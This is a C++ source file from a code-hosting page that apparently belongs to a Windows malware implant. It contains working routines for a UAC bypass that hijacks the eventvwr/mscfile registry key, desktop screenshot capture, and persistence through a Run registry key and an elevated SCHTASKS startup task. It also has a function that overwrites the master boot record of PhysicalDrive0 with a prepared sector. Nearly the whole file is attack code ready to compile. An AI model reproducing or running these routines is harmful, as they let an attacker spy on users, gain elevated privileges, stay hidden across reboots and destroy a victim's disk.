-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsystem.cpp
191 lines (169 loc) · 8.12 KB
/
system.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#include <windows.h>
#include <winreg.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <lmcons.h>
bool PrivEsc(std::string data)
{
std::string input = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe & "+data;
std::cout << input;
HKEY key = HKEY_CURRENT_USER;
if(RegCreateKeyEx(key, TEXT("Software\\Classes\\mscfile\\shell\\open\\command"), 0L, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL)!=0){
return false;
}
if(RegSetValueEx(key, NULL, 0L, REG_EXPAND_SZ,(LPBYTE)input.c_str(), strlen(input.c_str())*sizeof(char))!=0){
return false;
}
RegCloseKey(key);
std::system("start C:\\Windows\\System32\\eventvwr.exe");
Sleep(2000);
return true;
//input = "%SystemRoot%\\system32\\mmc.exe \"%1\" %*";
}
bool CleanUp()
{
std::string input = "%SystemRoot%\\system32\\mmc.exe \"%1\" %*";
HKEY key = HKEY_CURRENT_USER;
if(RegCreateKeyEx(key, TEXT("Software\\Classes\\mscfile\\shell\\open\\command"), 0L, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL)!=0){
return false;
}
if(RegSetValueEx(key, NULL, 0L, REG_EXPAND_SZ,(LPBYTE)input.c_str(), strlen(input.c_str())*sizeof(char))!=0){
return false;
}
RegCloseKey(key);
return true;
//input = "%SystemRoot%\\system32\\mmc.exe \"%1\" %*";
}
std::string Username()
{
char username[UNLEN+1];
DWORD username_len = UNLEN+1;
GetUserName(username, &username_len);
return username;
}
void ScreenShot(const char* BmpName)
{
HWND DesktopHwnd = GetDesktopWindow();
RECT DesktopParams;
HDC DevC = GetDC(DesktopHwnd);
GetWindowRect(DesktopHwnd,&DesktopParams);
DWORD Width = DesktopParams.right - DesktopParams.left;
DWORD Height = DesktopParams.bottom - DesktopParams.top;
DWORD FileSize = sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+(sizeof(RGBTRIPLE)+1*(Width*Height*4));
char *BmpFileData = (char*)GlobalAlloc(0x0040,FileSize);
PBITMAPFILEHEADER BFileHeader = (PBITMAPFILEHEADER)BmpFileData;
PBITMAPINFOHEADER BInfoHeader = (PBITMAPINFOHEADER)&BmpFileData[sizeof(BITMAPFILEHEADER)];
BFileHeader->bfType = 0x4D42; // BM
BFileHeader->bfSize = sizeof(BITMAPFILEHEADER);
BFileHeader->bfOffBits = sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER);
BInfoHeader->biSize = sizeof(BITMAPINFOHEADER);
BInfoHeader->biPlanes = 1;
BInfoHeader->biBitCount = 24;
BInfoHeader->biCompression = BI_RGB;
BInfoHeader->biHeight = Height;
BInfoHeader->biWidth = Width;
RGBTRIPLE *Image = (RGBTRIPLE*)&BmpFileData[sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)];
HDC CaptureDC = CreateCompatibleDC(DevC);
HBITMAP CaptureBitmap = CreateCompatibleBitmap(DevC,Width,Height);
SelectObject(CaptureDC,CaptureBitmap);
BitBlt(CaptureDC,0,0,Width,Height,DevC,0,0,SRCCOPY|CAPTUREBLT);
GetDIBits(CaptureDC,CaptureBitmap,0,Height,Image,(LPBITMAPINFO)BInfoHeader, DIB_RGB_COLORS);
DWORD Junk;
HANDLE FH = CreateFileA(BmpName,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,0,0);
WriteFile(FH,BmpFileData,FileSize,&Junk,0);
CloseHandle(FH);
GlobalFree(BmpFileData);
}
BOOL IsAdmin() {
BOOL fRet = FALSE;
HANDLE hToken = NULL;
if( OpenProcessToken( GetCurrentProcess( ),TOKEN_QUERY,&hToken ) ) {
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof( TOKEN_ELEVATION );
if( GetTokenInformation( hToken, TokenElevation, &Elevation, sizeof( Elevation ), &cbSize ) ) {
fRet = Elevation.TokenIsElevated;
}
}
if( hToken ) {
CloseHandle( hToken );
}
return fRet;
}
bool PersistRoot(std::string data)
{
std::string cmd = "SCHTASKS /CREATE /SC ONSTART /TN \"YESYES\" /TR \""+data+"\" /RL HIGHEST";
std::string name = "7bFe03nE";
std::cout << cmd;
std::system(cmd.c_str());
return true;
}
bool Persist(std::string data)
{
std::string input = data;
std::string name = "9o2m3bo";
std::cout << input;
HKEY key = HKEY_CURRENT_USER;
if(RegCreateKeyEx(key, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0L, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL)!=0){
return false;
}
if(RegSetValueEx(key, name.c_str(), 0L, REG_SZ,(LPBYTE)input.c_str(), strlen(input.c_str())*sizeof(char))!=0){
return false;
}
RegCloseKey(key);
return true;
}
bool UnPersist()
{
HKEY key = HKEY_CURRENT_USER;
std::string name = "9o2m3bo";
if(RegCreateKeyEx(key, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0L, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL)!=0){
return false;
}
if(RegDeleteValue(key,(LPCSTR)name.c_str())!=0){
return false;
}
RegCloseKey(key);
return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0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x55, 0xaa
};
int size = 512;
DWORD numBytes;
HANDLE rawdriveh;
rawdriveh = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
numBytes = 0;
if(SetFilePointer(rawdriveh, 0, 0, 0) != 0 ||
WriteFile(rawdriveh, new_mbr, size, &numBytes, 0) == FALSE ||
numBytes != size)
{
return false;
}
CloseHandle(rawdriveh);
return true;
}
std::string GetOS(){
OSVERSIONINFOEX info;
SecureZeroMemory(&info, sizeof(OSVERSIONINFOEX));
info.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((LPOSVERSIONINFO)&info);
if(info.dwMajorVersion == 10){
return "Windows 10";
}else if(info.dwMajorVersion == 6){
if(info.dwMinorVersion == 1){
return "Windows 7";
}else if(info.dwMinorVersion == 2){
return "Windows 8";
}else if(info.dwMinorVersion == 3){
return "Windows 8.1";
}else if(info.dwMinorVersion == 0){
return "Windows Vista";
}else{
return "Unknown";
}
}else{
return "Unknown";
}
}